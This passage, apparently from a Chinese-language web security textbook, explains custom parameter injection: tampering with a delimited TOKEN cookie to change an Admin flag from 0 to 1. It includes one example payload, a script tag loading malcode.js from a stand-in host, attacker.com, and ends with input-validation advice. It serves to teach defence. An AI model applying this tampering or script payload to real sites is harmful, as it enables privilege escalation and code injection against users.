6.4.9 自定义参数注入

当应用在参数中采用自定义分隔符或者专有格式时,它们仍然是注入攻击的目标。攻击者只需要确定篡改参数的字符模式或者适当的顺序就行了。在存储用户访问特权信息时采用自定义参数的应用暴露在这类参数注入攻击之下,后果是权限的提升。这种攻击的实例可以在存储如下用户数据序列的cookie中找到:


TOKEN^2|^399203|^2106|^2108|^Admin,0|400,Jessica^202|13197^203|15216

在这个例子中,^字符表示参数的开始,|字符代表结束。尽管这个应用在后端有解析这些参数的定制代码,但是攻击者能够发送自己的参数值来改变应用的行为。在前一个例子中,攻击者可以尝试将对应的Admin值从0改成1,企图获得管理员权限,当解析代码如下时这种企图可能成功:


int admin = 0;
string token = Request.Cookie["TOKEN"];
' Custom cookie parsing logic
if (admin = 1){
' Set user role to administrator
}

篡改TOKEN cookie中的自定义参数之后,恶意的用户将对应用行为进行差异分析,确定篡改是否有效。攻击者可以尝试将名从Jessica改成另一个名,确定是否能改变显示的欢迎信息。例如:


Welcome, Jessica

可换成


Welcome, <script src="http://attacker.com/malcode.js">

自定义参数注入也可能被用来启动对应用的其他注入攻击。同样,必须对整个应用中的自定义解析代码应用合适的输入校验规则。确保校验规则应用到合适的格式、类型、长度和范围检查。否则,应用可能成为意外的自定义参数注入的受害者,这种风险的大小取决于自定义解析器处理的数据的敏感性。